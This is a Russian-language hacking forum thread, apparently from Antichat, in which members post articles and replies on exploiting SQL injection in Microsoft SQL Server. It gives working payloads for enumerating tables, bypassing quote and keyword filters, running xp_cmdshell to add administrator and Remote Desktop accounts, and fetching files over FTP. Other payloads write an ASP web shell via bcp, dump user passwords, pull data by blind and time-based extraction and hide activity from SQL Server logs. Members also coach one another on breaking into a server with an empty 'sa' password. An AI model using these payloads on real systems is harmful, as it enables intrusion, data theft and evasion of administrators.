Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Альтернативы MSSQL иньекций.

    Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это
    ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:

    GET
    ?id=1'
    и в ответ получаем
    Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
    (для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)

    В ответ мы должны получить что то типо такого запроса.
    Будем смотреть структуру бд далее используя такой синтаксис.
    Во ответ получим что то типа
    В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
    Получим что то типо:
    Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
    Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
    Получим в ответ что типо:
    Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
    В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
    Пока все продолжение следует.

    [ cash ] Hack-Shop.Org.Ru (c)
     
    4 people like this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Смотря в каком месте используеться кавычка, как правило обойти можно %27 %2527. А некоторых местах ее можно использывать как 0x27 в некоторых char(), все зависит от конкретного запроса.
     
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Code:
    ' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--
    Здесь ругается на вторую кавычку или на последнюю..
    Не на первую т.к. простой запрос
    Code:
    ' or 1=@@version--
    работает....

    Вообщем такую ошибку выводит после моего запроса:
    Code:
    Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17
    
    Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17
    
    Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Обход кавычек.

    UPDATE! ВАЖНО!

    Обход кавычек.

    Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.

    Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.

    Цитата:
    master..xp_cmdshell [net user lol lol /add]

    тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...
     
    2 people like this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Это происходит потому, что данная функция принимает только один параметр.
    Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii).
    При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+".
    Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!!
    При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B.
    Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид:
    Code:
    http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))-- 
    в результате такого запроса получим имя второй таблицы и т.д.
     
    #25 [53x]Shadow, 9 Sep 2007
    Last edited: 11 Sep 2007
    4 people like this.
  6. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
    Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
    А сам вариант конечно же рабочий :)
     
    1 person likes this.
  7. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Исправил, регистр не принципиален..
     
  8. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Universal char SQL encoder
    =)
     
    2 people like this.
  9. ccrus

    ccrus New Member

    Joined:
    16 Mar 2006
    Messages:
    6
    Likes Received:
    2
    Reputations:
    0
    2cash и все-все-все...:)
    для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать
    declare @q varchar(8000) select @q=0x'.$query.' exec(@q)
     
    #29 ccrus, 23 Sep 2007
    Last edited: 23 Sep 2007
    1 person likes this.
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Токо создание функции в запросе в не всегда прокатывает щас практикую на поллную создание функций штудирую мануалы, за пример спасибо интере интересная реализация.
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Tsql, разделяй и властвуй.

    TSQL, разделяй и властвуй.

    Автор : [cash]
    Дата : 07.10.2007
    Продукт: TSQL



    Интро.

    Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут.

    Взлом, хранимые процедуры, функции.

    1)Хранимые процедуры.
    И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны.

    xp_fixeddrives - вывод существующих логических разделов жесткого диска, например.

    Code:
    C 11155
    D 1882
    E 135140
    
    xp_subdirs "c:\" – Аналог dir.
    xp_create_subdir "c:\aaa" – cоздание папки.
    sp_addlogin 'user', 'pass' – Добавление юзера базы данных.
    sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий.
    xp_regwrite – Запись в реестр.
    xp_cmdshell – Исполнение команд.
    Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать.

    Code:
    index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'-- 
    index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
    index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'
    
    И сразу поговорим о фильтрации.
    1) ‘‘ Можно обходить [].
    2) Посылать запрос в 0x[HEX], как это сделать.

    Code:
    declare @q varchar(8000) select @q=0x[HEX] exec(@q)

    Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду.

    2)К базе на прямую.
    Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом.

    3)Сценарии.
    И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг.

    Code:
    echo user '$user' '$passwd' > '$file'
    echo type binary >> '$file'
    echo get '$download' >> '$file'
    echo put '$upload' >> '$file'
    echo quit >> '$file'
    
    ftp -n '$ip' < ./'$file'
    del '$file'
    Исполнив этот набор команд мы можем загружать и скачивать файлы, так же что бы осмотреться на сервере можно использовать tree C:\. Так же можно загрузить netcat и запустить бекконнект. Зная путь до веб директории мы можем прям туда загрузить шелл.

    4)bcp
    bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис:

    Code:
    bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]
    
    Узнать имя сервера мы можем по переменной @@SERVERNAME, а юзера и пароль мы можем добавить сами. Далее просто слить дамп себе на ftp. Второе применение bcp это заливка шелла. И так по порядочку, создаем табличку с будущим кодом.
    Code:
    ;create table shell (code varchar(8000))--
    далее инсертим в табличку.
    Code:
    ;insert into shell (code) set values (‘|code|’)
    далее записываем код из таблички в файл.

    Code:
    bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]
    5) Правда или ложь или посимвольный перебор глобально.
    Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере.

    Code:
    if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0
    
    DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0
    
    6) sp_password или без палева.
    Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример
    Code:
    1=@@version--sp_password
    Как правило, использование POST в GET инъекциях не особо часто пашет из-за четко политики ASP как языка, но при возможности использования
    7) Читаем файлы.
    Для начала создадим таблицу file с полем text
    Code:
    ;create table file(text varchar(8000))--
    далее запишем туда файл используя конструкцию bulk insert

    Code:
    bulk insert file from 'c:\boot.ini '
    и прочтем собственно

    Code:
    select top 1 text from file
    Удалим дабы не спалили админы

    Code:
    ;drop table file
    8) Объединение данных в базе в одну таблицу.
    Что бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример

    Code:
    ;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--
    Хочу обратить внимание что +' '+ и др. соединяющие конструкция типа cast(usr+as+nvarchar)+':'+cast(pwd+as+nvarchar) стоит заменять URL кодировкой %2b%27%3a%27%2b.
    Далее нам надо сделать запрос select к тому что мы создали.

    Code:
    select top 1 dump from tmpusers
    И дропнуть табличку.

    Code:
    ;drop table tmpusers
    9) Полезные таблицы.
    master..sysservers – Серверы слинкованные с данные(для применения атак ROWSET)
    Системные юзеры.
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys..sql_logins


    3) Посимвольный перебор.
    Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий

    Code:
    1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--
    В ответ мы получим либо истинный либо ложный ответ. Рассмотрим еще один способ у него есть аналог в mysql и называется он BENCHMARK(). Основная его идея в отлике сервера при исолнении запроса. WAITFOR DELAY() и имеет синтаксис

    Code:
    WAITFOR DELAY '00:00:00'--
    Использывать мы будем его так же с оператором IF вот собственно пример

    Code:
    if (select system_user) = 'sa' waitfor delay '0:0:25'
    Не забываем что время на исполнение у сервера, как правило 30 секунд поэтому 20-25 оптимально.

    4)Фильтрация.
    Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так:


    ‘#’ - конец строки
    ‘--‘ - конец строки
    ‘/*’ ‘*\’ – строчные комментарии.
    ; - разделение запросов (может быть гораздо больше 1)

    То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например

    Code:
    E/*comment*/X/*comment*/E/*comment*/C
    Так же надо помнить что есть альтернативы многим запросам, а на фильтр как правило стоят только основные функции, конструкции.

    Название баз данных и, например данных для инсерта мы можем кодировать 2 способами:
    1)Многосимвольно 0x[HEX]
    2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])


    5)ROWSET или еще 1 косяк Microsoft.

    На эту тему написана отличная статья на русском языке на securitylab.ru так что дублировать что либо я не вижу смысла и так что читаем.


    [ cash ] Hack-Shop.Org.Ru (c)​
     
  12. Klaus Doring

    Klaus Doring Elder - Старейшина

    Joined:
    23 Jul 2007
    Messages:
    48
    Likes Received:
    16
    Reputations:
    0
    При подборе колонок вылазит вот такой эррор!
    Warning: mssql_connect() [function.mssql-connect]: Unable to connect to server: 127.0.0.1
    Warning: mssql_query() [function.mssql-query]: Unable to connect to server: (null)
    Warning: mssql_query() [function.mssql-query]: A link to the server could not be established
    Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
     
  13. GannIbal.

    GannIbal. New Member

    Joined:
    3 Jan 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    На шол вот такую уязвимость


    Пользователь 'sa' имеет пустой пароль, следовательно любой пользователь может получить полный доступ к БД. Также при наличии расширенной процедуры xp_cmdshell злоумышленник может получить полный контроль над сервером.


    добрые люди помогите ей воспользоваться :)

    заранее спасибо
    может есть какой либо список команд
     
  14. Lancellot

    Lancellot Member

    Joined:
    9 Aug 2006
    Messages:
    138
    Likes Received:
    23
    Reputations:
    7
    GannIbal.
    по моему нужен юзер dbo/ master и тд .
    что бы выполнять команды на сервере и добавлять юзера в бд
     
  15. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Нет, именно sa
     
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2GannIbal.

    1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
    2) Запусти
    3) Веди ip логин sa пароль оставь пустым.
    4) Нажми Cоеденить или Connect.
    5) Наблюдай азу данных в графическо интерфейсе.
     
  17. GannIbal.

    GannIbal. New Member

    Joined:
    3 Jan 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0

    сейчас посмотрим
    спасибо бальшое вроде всё норм пака работает
     
    #37 GannIbal., 3 Jan 2008
    Last edited: 3 Jan 2008
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Готовиться продолжение статьи

    https://forum.antichat.ru/showpost.php?p=523825&postcount=36
    TSQL, разделяй и властвуй.

    В рассмотрении пока темы:
    1) Эффективное исполнение команд.
    2) Методы автоматизации иньекций.
    3) MSSQL и PHP
    4) Клиенты, библиотеки, и методы аудита баз MSSQL.

    Хотелось бы услышать то, что вам будет интересно прочитать, обсудить или просто поделиться.

    Все вы можете со мной обсудить на IRC канале #antichat.
     
    1 person likes this.
  19. ~Taxa~

    ~Taxa~ New Member

    Joined:
    24 Jan 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -1
    Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'

    Code:
    site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_name+from+customer)--
    то читать могу выдает имя юзера, а вот если взять 'order'

    Code:
    site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_date'))-- 
    показывает все, но если забить такой запрос

    Code:
    site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from+order)--
    то облом пишит следующие:

    Что это может значить? Я так понимаю что у меня нету прав на чтения это таблицы или я ошибаюсь?
     
    #39 ~Taxa~, 8 Feb 2008
    Last edited: 8 Feb 2008
  20. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Просто нет походу ничего в этой табличке, т.е. запрос ничего не возвращает